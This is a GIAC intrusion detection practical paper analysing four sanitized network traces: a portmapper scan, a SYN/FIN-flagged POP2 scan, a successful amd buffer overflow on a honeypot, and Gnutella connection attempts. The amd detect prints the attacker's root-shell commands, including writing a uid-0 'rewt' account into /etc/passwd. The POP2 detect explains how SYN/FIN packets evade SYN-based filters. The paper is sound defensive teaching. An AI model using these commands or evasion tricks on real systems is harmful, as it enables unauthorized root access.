GIAC
CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Intrusion Detection In-Depth (Security 503)"
at http://www.giac.org/registration/gcia

SANS Security DC 2000

GIAC Intrusion Detection Practical - George Bakos

Contents

Introduction:

This paper includes traces retrieved from the IDS, firewall & system logs of networks that the author of this paper is (was) responsible for securing. This includes two security research labs as well as his own ADSL connected home LAN.

Tools used in data acquisition & analysis were NSWC Shadow 1.6 IDS, tcpdump v3.5 w/ libpcap 0.4, Snort

To ease in viewing the sanitized traces, the following conventions are used:

Local addresses - good.guys.net.nnn

Remote (hostile) address - a.bad.net.nnn

Example: 00:04:10.680266 a.bad.net.78.63274 > good.guys.net.163.22: . ack 884 win 8432 (DF) [hostile host ACKs localhost]

Additionally, the terms "him", "her", "attacker" and "bad guy" may be used interchangeably throughout. There are no assumptions made about the gender, motivation, or location of the individual(s) at the other end off the wire, unless specifically stated in the narrative.

Network Detects

The following analyses are broken down into 10 components for clarity, in accordance with SANS Security DC 2000 guidelines:

1. Source of trace
2. Tool or technique detect was generated by
3. Probability the source address was spoofed
4. Description of attack
5. Attack mechanism
6. Correlations
7. Evidence of active targeting
8. Severity
9. Defensive recommendation
10. Multiple choice test question

Detect #1 - Pormapper (sunrpc) scan

```
01:48:29.951429 a.bad.net.196.2732 > good.guys.net.162.111: S 4228256012:4228256012(0) win 32120  (DF)
01:48:29.960971 a.bad.net.196.2733 > good.guys.net.163.111: S 4228148447:4228148447(0) win 32120  (DF)
01:48:30.026186 a.bad.net.196.2740 > good.guys.net.170.111: S 4230083537:4230083537(0) win 32120  (DF)
01:48:30.026518 good.guys.net.170 > a.bad.net.196: icmp: good.guys.net.170 tcp port 111 unreachable [tos 0xc0]
01:48:30.220962 a.bad.net.196.2760 > good.guys.net.190.111: S 4219615710:4219615710(0) win 32120  (DF)
```

© SANS Institute 2000 - 2005 Author retains full rights.

```
01:48:30.223347 good.guys.net.190.111 > a.bad.net.196.2760: R 0:0(0) ack 4219615711 win 0
01:48:32.978517 a.bad.net.196.2732 > good.guys.net.162.111: S 4228256012:4228256012(0) win 32120  (DF)
01:48:32.988145 a.bad.net.196.2733 > good.guys.net.163.111: S 4228148447:4228148447(0) win 32120  (DF)
```

Description of the above fields:

01:48:29.951429 [local timestamp hh:mm:ss:microseconds]
a.bad.net.196.2732 [src address.port]
good.guys.net.162.111 [dst address.port]
: **S** [TCP flags]
4228256012:4228256012(0) [actual or relative starting sequence # : implied ending sequence # (data size)]
win 32120 [TCP window size]
(DF) [IP flags]

1.1 Source of the detect

Our DMZ segment between a border router and masquerading firewall .

1.2 Tool or technique detect was generated by

Our SHADOW intrusion detection system produced the original report, which was further detailed by querying the packet logs for all traffic to or from the attacking network over a 72 hour period.

1.3 Probability the source address was spoofed

Minimal or zero probability. The attacker must be able to receive the replies for them to be of any value to him. In order for the source address to be spoofed, the attacker would need to be strategically located on a network where he could sniff the packets in transit.

1.4 Description of attack

This was a port 111 scan for the sunrpc, or "portmapper" service. It appears that the tool used to generate the packets was not terribly sophisticated, as the source port numbers increment at the same rate as the destination addresses. The gaps in source port that correspond with the gaps in destination host IP indicate that this scan was linear, and not targeted specifically at the destination hosts appearing in this trace. This is common in linear scans (see 2.7 below), as the border router's arp table doesn't have entries for the hosts that don't exist. If the IDS sensor were outside the border router, we would see the scan in its entirety, along with the resultant ICMP "destination host unreachable" messages. We mustn't deny the tool crafter his due, though. Althought the source ports are predictable, the sequence numbers are sufficiently randomized.

Without the successful completion of a TCP three-way handshake, it is difficult to determine which service the attacker had her designs set on. There are many vulnerable rpc services which, once properly identified, are easily exploitable using downloadable tools. Possibilities include:

CVE-1999-0003 - Execute commands as root via buffer overflow in Tooltalk database server (rpc.ttdbserverd)

CVE-1999-0696 - Buffer overflow in CDE Calendar Manager Service Daemon (rpc.cmsd)

CVE-1999-0493 - rpc.statd allows remote attackers to forward RPC calls to the local operating system via the SM_MON and SM_NOTIFY commands, which in turn could be used to remotely exploit other bugs such as in automountd.

1.5 Attack mechanism

The attacker's intent was to identify and exploit one of a number of potentially vulnerable remote procedure call (rpc) services on any systems available. To efffect such an attack using TCP requires the successful completion of a bi-directional connection through which to request rpc information (rpcinfo). Upon identifying what services are available, and on what ports, the attacker will attempt an exploitation of them. Many tools such as statdx.c automate this process. An excellent discussion on rpcbind & portmapper is available from David P. Reece as part of the SANS Intrusion Detection FAQ.

1.6 Correlations

This type of activity was recorded 31 times in a 6 month period at the author's primary research lab. Addtionally, port 111 scans are regularly posted to GIAC, such as http://www.sans.org/y2k/123099-1000.htm

1.7 Evidence of Active Targeting

The gaps in the source port numbers (see 1.4 above), as well as the corresponding timestamp progression, indicates that there were many other addresses scanned that were not reachable. This was a general scan of an IP address range, rather than a specifically focused one.

1.8 Severity

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	5	The systems targeted included a firewall, web proxy and DNS/Sendmail server in the DMZ
Lethality	1	The scan in itself doesn't pose any significant lethality.
System Countermeasures	5	Rpc services are not utilized anywhere on that segment.
Network Countermeasures	3	This successfully scanned segment is outside of the firewall. The firewall is masquerading as well as blocking all port 111 TCP & UDP traffic to the internal network.
Severity	(5+1) - (5+3) = **-2**	

1.9 Defense Recommendation

None required for this network. If rpc services were required on that segment, regular patching of those packages and robust filtering at the border router would be in order.

© SANS Institute 2000 - 2005 Author retains full rights.

1.10 Multple Choice Question

```
01:48:29.951429 a.bad.net.196.2732 > good.guys.net.162.111: S 4228256012:4228256012(0) win 32120  (DF)
01:48:29.960971 a.bad.net.196.2733 > good.guys.net.163.111: S 4228148447:4228148447(0) win 32120  (DF)
01:48:30.026186 a.bad.net.196.2740 > good.guys.net.170.111: S 4230083537:4230083537(0) win 32120  (DF)
01:48:30.026518 good.guys.net.170 > a.bad.net.196: icmp: good.guys.net.170 tcp port 111 unreachable [tos 0xc0]
01:48:30.220962 a.bad.net.196.2760 > good.guys.net.190.111: S 4219615710:4219615710(0) win 32120  (DF)
01:48:30.223347 good.guys.net.190.111 > a.bad.net.196.2760: R 0:0(0) ack 4219615711 win 0
01:48:32.978517 a.bad.net.196.2732 > good.guys.net.162.111: S 4228256012:4228256012(0) win 32120  (DF)
01:48:32.988145 a.bad.net.196.2733 > good.guys.net.163.111: S 4228148447:4228148447(0) win 32120  (DF)
```

In the above trace, we see that the attacker was attempting to:

a) Buffer overrun the portmapper service with an unusually large window size
b) Identify targets for rpc exploits.
c) SYN flood
d) Mount an NFS share

Answer: b. A portmapper scan identifies targets for rpc exploits.

Detect #2 - POP2 scan

```
18:16:06.321505 a.bad.net.3.109 > good.guys.net.162.109: SF 2098026835:2098026835(0) win 1028 (ttl 29, id 39426)
18:16:06.341990 a.bad.net.3.109 > good.guys.net.163.109: SF 2098026835:2098026835(0) win 1028 (ttl 29, id 39426)
18:16:06.498888 a.bad.net.3.109 > good.guys.net.170.109: SF 2098026835:2098026835(0) win 1028 (ttl 29, id 39426)
18:16:06.504233 good.guys.net.170 > a.bad.net.3: icmp: good.guys.net.170 tcp port 109 unreachable
18:16:06.884152 a.bad.net.3.109 > good.guys.net.190.109: SF 2098026835:2098026835(0) win 1028 (ttl 29, id 39426)
18:16:06.886200 good.guys.net.190.109 > a.bad.net.3.109: R 0:0(0) ack 2098026837 win 0 (ttl 255, id 47)
```

See Detect #1 for te above fields explanation. Additional information between parentheses is the **(ttl 255,** [IP time to live] and **id 39426)** [IP id number]

2.1 Source of the detect

Our DMZ segment between a border router and masquerading firewall .

2.2 Tool or technique detect was generated by

Our SHADOW intrusion detection system produced the original report, and tcpdump -vv was used to view the protocol headers in greater detail.

2.3 Probability the source address was spoofed

Minimal or zero probability. See 1.3 above.

2.4 Description of attack

The offender was intent on locating systems running the POP2 daemon. "The intent of the Post Office Protocol Version 2 (POP2) is to allow a user's workstation to access mail from a mailbox server." (RFC937,Butler, et. al.) A particular vulnerability in many POP2 daemons allows an attacker to gain shell access as user "nobody"; a first foot-in-the-door that sets the attacker up to elevate her priviledge using local exploits. For additional information, refer to the following:

CVE-1999-0920 - Buffer overflow in the pop-2d POP daemon

Bugtraq id 283 - Univ. of Washington pop2d Buffer Overflow Vulnerability

A number of details reveal to us the malicious nature of this traffic. Both the SYN and FIN bits are set high, an illogical combination; how can we initiate and tear down a connection at the same time? Also notice the source ports, sequence numbers and IP id numbers remain constant across the entire scan. The scanning mechanism doesn't attempt any randomization, nor does it make use of the source system's native TCP/IP stack, which would normally increment both the source port and IP id numbers, uniquely identifying each packet. The source ports would also normally be in the ephemeral range (1024:65535) rather than the well-known range (<1024) as requests are made by non-priveledged clients. These are crafted packets, designed to avoid detection and identify likely targets for exploitation.

2.5 Attack mechanism

An interesting aspect of this particular scan is that both the TCP SYN and FIN flags are set in an attempt to defeat simple intrusion detection systems. Another benefit from this SYN/FIN technique is the greater likelihood that packetfiltering firewalls looking for the SYN flag will be penetrated. The reason this is effective is fairly clever: To recognize an incoming connection request, many systems look at the value of the last 6 bits of TCP byte offset 13. This is the location of the TCP flags. If only the SYN flag is set, tcp[13] & 0x3f = 2, the packet is recognized as a connection request. With both the SYN and FIN bits set, tcp[13] & 0x3f = 3, rather than 2, that rule isn't matched and the packet is allowed to pass.

2.6 Correlations

This type of activity was recorded 4 times in a 6 month period at the author's primary research lab. Guy Bruneau has noticed a fair bit of this activity as well and has included it in his year 2000 summary report.

2.7 Evidence of Active Targeting

The lack of port incrementing makes it a little more challanging to determine if the target hosts were deliberately selected, or merely resided in side of a larger range. The timestamp progression lends a clue, however. Let's build a simple equation:

Destination IP B - Destination IP A = Db-Da , and Arrival timestamp B - Arrival timestamp A = Tb-Ta
(Tb-Ta)/ (Db-Da) = x

If our scan is linear across a continuous range of IP addresses and network health remains fairly constant, we can expect value "x" to hold relatively constant for any packet A

© SANS Institute 2000 - 2005 Author retains full rights.

and B. Let's see:

Timestamp	Target IP address	Tb-Ta	Db-Da	x
18:16:06.321505	good.guys.net.162	-	-	-
18:16:06.341990	good.guys.net.163	0.020	1	0.020
18:16:06.498888	good.guys.net.170	0.156	7	0.022
18:16:06.884152	good.guys.net.190	0.385	20	0.019

This predictable progression indicates that there were other addresses scanned that were not reachable. See section 1.4 for the rationale. This was a general scan of an IP address range, rather than a specifically focused one.

2.8 Severity

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	5	The systems targeted included a firewall, web proxy and DNS/Sendmail server in the DMZ
Lethality	1	The scan in itself doesn't pose any significant lethality.
System Countermeasures	5	POP2 services are not utilized anywhere on that segment.
Network Countermeasures	3	This successfully scanned segment is outside of the firewall. The firewall is masquerading as well as blocking all port 109 TCP & UDP traffic to the internal network.
Severity	(5+1) - (5+3) = **-2**	

2.9 Defense Recommendation

None required for this network. POP2 is enabled by default in many Unix-like operating systems and should be disabled before deployment. If post-office services are required, current versions of imapd (which include ipop2d and ipop3d) that are not vulnerable to the above described attack should be installed. Also, consider moving the SMTP/POP host behind a firewall and using an SMTP-only bastion host in the screened subnet dedicated to mail relay, not post-office services.

2.10 Multple Choice Question

In the above trace, if host good.guys.net.230 was the next destination host in the scan, the timestamp would most likely be:

a) 18:16:07.684152
b) 18:16:06.884153
c) 18:16:11.602441
d) 18:16:07.334091

Answer: a. the timestamp progression is approx .02 seconds per IP address increment. Jumping from good.guys.net.190 to good.guys.net.230 gives us 18:16:06.884152 + (40*.02) = 18:16:07.684152

Detect #3 - amd buffer overrun

```
09:54:02.319894 a.bad.net.33.928 > good.guys.net.182.111:  udp 56 (ttl 42, id 42798)
09:54:02.320856 good.guys.net.182.111 > a.bad.net.33.928:  udp 28 (ttl 64, id 8848)
09:54:02.638362 a.bad.net.33.929 > good.guys.net.182.956:  udp 1068 (ttl 42, id 42799)
09:54:07.644294 a.bad.net.33.929 > good.guys.net.182.956:  udp 1068 (ttl 42, id 42801)
09:54:09.308719 a.bad.net.33.25647 > good.guys.net.182.2222: S 587920753:587920753(0) win 512 <mss 1460> (ttl 42, id 42802)
09:54:09.308982 good.guys.net.182.2222 > a.bad.net.33.25647: S 3252228580:3252228580(0) ack 587920754 win 32736 <mss 1460> (ttl 64, id 8849)
09:54:09.472069 a.bad.net.33.25647 > good.guys.net.182.2222: P 1:16(15) ack 1 win 32120 (DF) (ttl 42, id 42805)
09:54:09.546635 good.guys.net.182.2222 > a.bad.net.33.25647: P 1:7(6) ack 16 win 32721 (DF) (ttl 64, id 8851)
09:54:09.720580 good.guys.net.182.2222 > a.bad.net.33.25647: P 7:113(106) ack 16 win 32736 (DF) (ttl 64, id 8852)
09:54:12.657687 a.bad.net.33.929 > good.guys.net.182.956:  udp 1068 (ttl 42, id 42809)
09:54:17.672283 a.bad.net.33.929 > good.guys.net.182.956:  udp 1068 (ttl 42, id 42810)
09:54:22.670378 a.bad.net.33.929 > good.guys.net.182.956:  udp 1068 (ttl 42, id 42813)
09:55:12.436197 a.bad.net.33.25647 > good.guys.net.182.2222: P 16:69(53) ack 113 win 32120 (DF) (ttl 42, id 42818)
09:55:12.436529 good.guys.net.182.2222 > a.bad.net.33.25647: P 113:114(1) ack 69 win 32683 (DF) (ttl 64, id 8853)
09:55:12.596866 good.guys.net.182.2222 > a.bad.net.33.25647: P 114:172(58) ack 69 win 32736 (DF) (ttl 64, id 8854)
09:55:24.406802 a.bad.net.33.25647 > good.guys.net.182.2222: P 69:118(49) ack 172 win 32120 (DF) (ttl 42, id 42825)
09:55:24.407068 good.guys.net.182.2222 > a.bad.net.33.25647: P 172:173(1) ack 118 win 32687 (DF) (ttl 64, id 8855)
09:55:24.559479 good.guys.net.182.2222 > a.bad.net.33.25647: P 173:227(54) ack 118 win 32736 (DF) (ttl 64, id 8856)
09:55:33.610597 a.bad.net.33.25647 > good.guys.net.182.2222: P 118:156(38) ack 227 win 32120 (DF) (ttl 42, id 42832)
09:55:33.610865 good.guys.net.182.2222 > a.bad.net.33.25647: P 227:228(1) ack 156 win 32698 (DF) (ttl 64, id 8857)
09:55:33.768429 good.guys.net.182.2222 > a.bad.net.33.25647: P 228:271(43) ack 156 win 32736 (DF) (ttl 64, id 8858)
09:55:36.681995 a.bad.net.33.25647 > good.guys.net.182.2222: P 156:161(5) ack 271 win 32120 (DF) (ttl 42, id 42841)
09:55:36.682403 good.guys.net.182.2222 > a.bad.net.33.25647: P 271:272(1) ack 161 win 32731 (DF) (ttl 64, id 8859)
09:55:36.695280 good.guys.net.182.2222 > a.bad.net.33.25647: P 272:281(9) ack 161 win 32736 (DF) (ttl 64, id 8860)
09:55:36.695333 good.guys.net.182.2222 > a.bad.net.33.25647: F 281:281(0) ack 161 win 32736 (ttl 64, id 8861)
09:55:36.857983 a.bad.net.33.25647 > good.guys.net.182.2222: F 161:161(0) ack 282 win 32120 (ttl 42, id 42844)
09:55:48.155678 a.bad.net.33.25648 > good.guys.net.182.23: S 1214716590:1214716590(0) win 512 <mss 1460> [tos 0x10]  (ttl 42, id 42857)
09:55:48.155929 good.guys.net.182.23 > a.bad.net.33.25648: S 1741998110:1741998110(0) ack 1214716591 win 32736 <mss 1460> (ttl 64, id 8863)
09:55:48.303945 a.bad.net.33.25648 > good.guys.net.182.23: P 1:25(24) ack 1 win 32120 [telnet DO SUPPRESS GO AHEAD, WILL TERMINAL TYPE, WILL NAWS, W
09:55:48.396213 good.guys.net.182.23 > a.bad.net.33.25648: P 1:13(12) ack 25 win 32712 [telnet DO TERMINAL TYPE, DO TSPEED, DO XDISPLOC, DO NEW-ENVI
```

This is another tcpdump trace, thus most of the fields are descibed above. Using the -vv option, additional information was available, including the breakdown of the telnet application-layer options. This was included here to illustrate the genuine use of telnet.

3.1 Source of the detect

Our honeypot located behind a border router on a 56kbps frame relay circuit.

© SANS Institute 2000 - 2005 Author retains full rights.

3.2 Tool or technique detect was generated by

Our SHADOW intrusion detection system produced the original report, which was further detailed by querying the packet logs for all traffic to or from the attacking network over a 72 hour period. Snort was then used to clarify shell commands being sent by the attacker.

3.3 Probability the source address was spoofed

Minimal or zero probability. The attacker must be able to receive the replies for them to be of any value to him. In order for the source address to be spoofed, the attacker would need to be strategically located on a network where he could sniff the packets in transit. As UDP is a connectionless "fire and forget" protocol, is possible to launch the UDP exploit code using a spoofed address, but the follow-on TCP connection to port 2222 needs to be full-duplex. Since the portmapper request, buffer overrun, root shell connection and subsequent telnet session all share a common source address, we can pretty much bet the farm on this not being spoofed.

3.4 Description of attack

This was an attack on a remote procedure call service (see Detect #1, above), the Berkely automount daemon, amd. With only 68 bytes per packet logged, it is difficult to perform a complete analysis of the rpc GETPORT() call and reply, however in section 3.5 we will see without a doubt that it is truly amd he is after. This daemon automatically mounts file systems in response to attempts to access files that reside on those file systems. After receiving the listening port of the vulnerable service, the attacker sends crafted "shellcode", data designed to take advantage of improper bounds checking, followed by a command to be executed with the priveledge of the running service, typically root. Once the attacker has gained a root shell, she then creates accounts on the target system with which to connect using the telnet service. Notice how the 1068 byte UDP packets continue to be sent well after a TCP port 2222 connection has been established. This may be attribted to a tool caught in a loop, or an inexperienced (and over zealous!) attacker. Looking at the snort output below, we also see that our attacker also needs a little help with his /etc/passwd syntax!

The remote buffer overflow vulnerability in amd is addressed in Bugtraq id 614 and CERT/CC advisory CA-99-12. Be aware, CVE-1999-210, although also referring to issues with amd, describes a local exploit that can be effected remotely via the exploitation of a flaw in rpc.statd, and does not pertain here.

3.5 Attack mechanism

We first see a 68 byte UDP port 111 packet. Examining the hex dump (tcpdump -nx) , we see that the folllowing:

```
09:54:02.319894 a.bad.net.33.928 > good.guys.net.182.111:  udp 56 (ttl 42, id 42798)
                        4500 0054 a72e 0000 2a11 3c14 d4b8 a021
                        d1c6 66b6 03a0 006f 0040 ad48 397b 4c92
                        0000 0000 0000 0002 0001 86a0 0000 0002
                        0000 0003 0000
```

The four bytes (0000 0000) in bold typeface indicate a call message - the sender wants something. The later four bytes (0000 0003) tell us that this is a GETPORT() procedure call. He is trying to find out where amd is listening. The next packet returned to him, although truncated in our trace, let him know that it was available on UDP port 956. The following 1068 byte UDP packets contain excessive data designed to overflow the plog() buffer although only 54 bytes is represented here:

```
09:54:12.657687 212.184.160.33.929 > good.gys.net.182.956:  udp 1068 (ttl 42, id 42809)
                        4500 0448 a739 0000 2a11 3815 d4b8 a021
                        d1c6 66b6 03a1 03bc 0434 d9ed 397b 4ca7
                        0000 0000 0000 0002 0004 93f3 0000 0001
                        0000 0007 0000
```

The emboldened hex value 0004 93f3 equates to rpc program 30019, the automount daemon, amd. The next important value is 0000 0007 - procedure 7, the daemon's logging facility. Into this the attacker stuffs excessive data, overflowing the buffer and executing commands with root priveledge. We can see in the following snort extract, that he has opened up a root shell listening on TCP port 2222 and begins creating user accounts by echoing entries directly into /etc/passwd:

```
01/14-09:54:09.472069 a.bad.net.33:25647 -> good.gys.net.182:2222
TCP TTL:42 TOS:0x0 ID:42805  DF
*****PA* Seq: 0x230AF572   Ack: 0xC1D911E5   Win: 0x7D78
75 6E 61 6D 65 20 2D 61 3B 20 70 77 64 3B        uname -a; pwd;

01/14-09:55:12.436197 a.bad.net.33:25647 -> good.gys.net.182:2222
TCP TTL:42 TOS:0x0 ID:42818  DF
*****PA* Seq: 0x230AF581   Ack: 0xC1D91255   Win: 0x7D78
65 63 68 6F 20 69 6F 6E 3A 35 32 34 3A 35        echo ion:524:5

01/14-09:55:24.406802 a.bad.net.33:25647 -> good.gys.net.182:2222
TCP TTL:42 TOS:0x0 ID:42825  DF
*****PA* Seq: 0x230AF5B6   Ack: 0xC1D91290   Win: 0x7D78
65 63 68 6F 20 72 65 77 74 3A 78 3A 30 3A        echo rewt:x:0:
```

Although he fat-fingered the first few attempts, eventually our perpetrator succedded in creating useable accounts and telnetted into his newly-owned system.

3.6 Correlations

Several other port 2222 scans have been detected on the author's networks, likely coming from kiddiez looking to stand on the shoulders of those who laid the rootshell groundwork. It seems that Laurie has been receiving a number of posts regarding this port 2222 activity. http://www.sans.org/y2k/012900.htm also mentions a bugtraq thread discussing it.

3.7 Evidence of Active Targeting

There should be no doubt that there was targeted directly at the vulnerable system. I see no evidence of any broad scanning in this trace, merely a direct strike.

3.8 Severity

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	1	The system targeted was a honeypot, a sacrificial system designed to collect this kind of data
Lethality	5	Root shell gained. Whoop!
System Countermeasures	0	Most services were outdated, inpatched and turned on.

© SANS Institute 2000 - 2005 Author retains full rights.

Network Countermeasures	0	Trafic was allowd unchecked to this host.
Severity	(5+1) - (0+0) = **6**	

3.9 Defense Recommendation

As the intent of this honeypot system was to be compromised in the name of research, no defensive actions are warranted. If this were a production system, I would strongly advise NFS and all of its related utilities & services never be used without robust firewalling & monitoring. As portmapper-managed ports are dynamically assigned, it is difficult to firewall individual ports and may be more feasible to "deny all unless specifially allowed", at least on ports < 1024. On a system level, this version of the Berkely automount daemon should be patched to the level specified by your vendor. Also consider replacing portmapper with Wietse Venema's portmap , which allows access control simplar to tcpwrappers, although a superior solution would be to link *all* rpc services against the securelib shared library.

3.10 Multple Choice Question

```
09:54:02.319894 a.bad.net.33.928 > good.guys.net.182.111:  udp 56 (ttl 42, id 42798)
09:54:02.320856 good.guys.net.182.111 > a.bad.net.33.928:  udp 28 (ttl 64, id 8848)
09:54:02.638362 a.bad.net.33.929 > good.guys.net.182.956:  udp 1068 (ttl 42, id 42799)
09:54:09.308719 a.bad.net.33.25647 > good.guys.net.182.2222: S 587920753:587920753(0) win 512 <mss 1460> (ttl 42, id 42802)
09:54:09.308982 good.guys.net.182.2222 > a.bad.net.33.25647: S 3252228580:3252228580(0) ack 587920754 win 32736 <mss 1460> (ttl 64, id 8849)
09:54:09.472069 a.bad.net.33.25647 > good.guys.net.182.2222: P 1:16(15) ack 1 win 32120 (DF) (ttl 42, id 42805)
09:54:09.546635 good.guys.net.182.2222 > a.bad.net.33.25647: P 1:7(6) ack 16 win 32721 (DF) (ttl 64, id 8851)
09:54:09.720580 good.guys.net.182.2222 > a.bad.net.33.25647: P 7:113(106) ack 16 win 32736 (DF) (ttl 64, id 8852)
```

In this trace, the attacker was:

a) unsuccessful due to poor target selection
b) unsuccessful due to unreliability in UDP communications
c) successful in locating a pre-existing trojan horse
d) successful in overruning an rpc service buffer

Answer: d. The progression from portmapper, to port 956 buffer stuffing, to the successful SYN, ACK/SYN, ACK (piggybacked) and data exchange indicates a successful breach.

Detect #4 - gnutella attempts

```
Aug 14 15:46:56 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 a.bad.net.130:54946 good.guys.net.37:6346 L=48 S=0x00 I=30613 F=0x4000 T=116 SYN
Aug 14 15:46:58 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 a.bad.net.130:54946 good.guys.net.37:6346 L=48 S=0x00 I=36245 F=0x4000 T=116 SYN
Aug 14 15:47:04 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 a.bad.net.130:54946 good.guys.net.37:6346 L=48 S=0x00 I=50837 F=0x4000 T=116 SYN
Aug 14 15:47:16 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 a.bad.net.130:54946 good.guys.net.37:6346 L=48 S=0x00 I=21910 F=0x4000 T=116 SYN
Aug 14 15:50:13 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 b.bad.net.109:2600 good.guys.net.37:6346 L=48 S=0x00 I=34354 F=0x0000 T=50 SYN (
Aug 14 15:50:15 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 b.bad.net.109:2600 good.guys.net.37:6346 L=48 S=0x00 I=37170 F=0x0000 T=50 SYN (
Aug 14 15:50:21 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 b.bad.net.109:2600 good.guys.net.37:6346 L=48 S=0x00 I=39730 F=0x0000 T=50 SYN (
Aug 14 15:50:33 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 b.bad.net.109:2600 good.guys.net.37:6346 L=48 S=0x00 I=44594 F=0x0000 T=50 SYN (
Aug 14 17:40:18 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 c.bad.net.134:2164 good.guys.net.37:6346 L=48 S=0x00 I=54850 F=0x4000 T=115 SYN
Aug 14 17:40:21 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 c.bad.net.134:2164 good.guys.net.37:6346 L=48 S=0x00 I=26691 F=0x4000 T=115 SYN
Aug 14 17:40:27 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 c.bad.net.134:2164 good.guys.net.37:6346 L=48 S=0x00 I=16964 F=0x4000 T=115 SYN
Aug 14 17:40:39 bunta kernel: Packet log: input REJECT ppp0 PROTO=6 c.bad.net.134:2164 good.guys.net.37:6346 L=48 S=0x00 I=41285 F=0x4000 T=115 SYN
```

This is output of an ipchains packetfiltering firewall. Fields are interpreted as follows:

Aug 14 17:40:27 bunta -time/date/hostname

input REJECT - The packet matched a rule in the "input chain" and was not allowed. An ICMP "port unreachable" message was returned

ppp0 PROTO=6 - The interface receiving the packet was ppp0. The transport protocol was #6, TCP. See RFC 1700 for protocol numbers.

64.216.13.134:2164 good.guys.net.37:6346 - Source IP address:port, destination IP address: port

L=48 - Length of IP packet including IP & transport headers and data.

S=0x00 - Type of Service

I=16964 - IP identification number (see below)

F=0x4000 - Fragmentation flags & offset

T=115 - Time to live

SYN - TCP SYN flag set

(#3) - Packetfiltering rule that was matched

4.1 Source of the detect

Firewall on a home network using PPPOE to an ADSL provider.

4.2 Tool or technique detect was generated by

IPCHAINS packetfiltering /masquerading firewall. This is a kernel-level firewall that uses the kernel logging facility to output an entry to the location specified in /etc/syslog.conf. In this case, the rule matched was:

```
input -s 0.0.0.0/0.0.0.0 -d 0.0.0.0/0.0.0.0 -i ppp0 -p 6 -j REJECT -l -y
```

© SANS Institute 2000 - 2005 Author retains full rights.

This rule will reject any TCP traffic to the ppp0 interface if the TCP SYN flag is set and will log it. To reduce the logfile and achieve correlation, the command "grep REJECT /var/log/messages | grep 6346" was used. To ease the load on the reader, this was further reduced to include only those events logged in a two-hour period.

4.3 Probability the source address was spoofed

Minimal probability. Replies to the SYN connection requests would have to return to the true source if the connection is to be successful. Judging by the timing of these packets, they would not constitute an effective "SYN flood" deial of service, so it appears that the intent was to connect and exchange information.

4.4 Description of attack

What we have here is not particularly malicious, merely a normal retransmission of a TCP connection attempt. We see for each unique source address, a repeat of the original packet at intervals of 3, 6, and 12 seconds. This is a normal function of the TCP. A retransmission timer utilizing "exponential backoff" is used when a response is not received. This accounts for the regular interval seen throughout the entire trace. Another indicator of normal TCP retry is the constant source ports and incrementing IP id numbers. But are they really incrementing?

These IP id numbers are difficult to decipher here for two reasons. First, they are generated for transmission over a "big-endian" wire (network byte ordering) and then reported to us reported by an Intel-processor kernel, which is "little-endian"! Second, the little-endian byte ordering is hidden through the use of decimal numbers by ipchains. What does this nonsense mean? Let's do the flip-flop. First we take the decimal values reported, convert to hexadecimal, fip flop the high & low order bytes, then re-convert back to decimal (optional):

Timestamp	Little-Endian Decimal	Little-Endian Hex	Big-Endian Hex	Big-Endian Decimal
17:40:18	54850	0xd642	0x42d6	17110
17:40:21	26691	0x6843	0x4368	17256
17:40:27	16964	0x4244	0x4442	17474
17:40:39	41285	0xa145	0x45a1	17825

Aaaah! A logical progression where it was well obfuscated before. Nothing but normality....except that it is Gnutella.

4.5 Attack mechanism

TCP port 6346 is the default listening port for the filesharing utility known as Gnutella. The Gnutella application is both client & server, allowing any other client to browse & download files completely anonymously. Once connected to another server, your client will service requests as well, sharing files in whatever particular directory branch is selected. As more clients come on line, any one client that is aware of the new one will propogate that information, creating a global aggregate filesharing network. Without providing any method of authentication, encryption, or accounting, Gnutella is a security nightmare. Additionally, server listening ports can be chosen and switched at will, making detection and firewalling difficult. See an excellent discussion by Matt Scarborough at the GIAC website.

Prior to this series of connection attempts, there was no detected traffic to port 6346. The source addresses resolve to myraid networks, most of which are cable and ADSL service providers' dhcp spaces. The author is so bold here, as to offer the likelihood that this destination address has been mistakenly posted on a www Gnutella server list, and is now erronneously included in a Gnutella client's list of servers. As this address propogates, it is expected that the frequency of detects will increase.

4.6 Correlations

Scott Sidel, and David Hoelzer have reported similar bursts of port 6346 traffic. Many others have seen anomolous packets and behaviors headed for the same port, and have speculated the possibility of a trojaned, virused, or otherwise maliciuos variant of the dreaded Gnutella; this is just about inevitable. There has already been at least one Gnutella "worm" .vbs that modifies the gnutella.ini file, making changes to the filesharing configuration. In my opinion, Gnutella is a trojan all by its little lonesome! The Trojan Horse looked like a nice gift, until someone let it in and opened it up.

4.7 Evidence of Active Targeting

Someone, somewhere, intentionally or accidentally, most likely included this IP address in a list of Gnutells servers. The poor little users, placing blind faith in those all-powerful gods of the code, just go ahead and type whatever they read on the web into their keyboards, and voila! Our firewall logs begin to populate at an ever increasing rate. I don't believe that they actively targeted, just went on like lemmings to the ocean.

4.8 Severity

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	4	The system targeted was a firewall/DNS for a home network. Certainly not critical to any mission, except a little on-line research & gaming.
Lethality	2	Gnutella isn't malicious by design, but can be used to circumvent firewalling and make network resources available to those on the outside.
System Countermeasures	5	Gnutella isn't in use anywhere on this network.
Network Countermeasures	4	The firewall is masquerading as well as blocking all unnecessary TCP connection requests to itself and the internal network. Additionally, a custom Snort filter looking for the string "GNUTELLA CONNECT" alerts to gnutellanet joining inititated from the inside. This doesn't stop internal users from connecting out, however.
Severity	(4+2) - (5+4) = **-3**	

4.9 Defense Recommendation

None additionally required for this network. An interesting solution would be to use a content-based IDS such as RealSecure, with the capability to spoof TCP RST packets in response to "GNUTELLA CONNECT" or "GNUTELLA OK". This is also possible using Snort and a custom libnet app. Any takers?

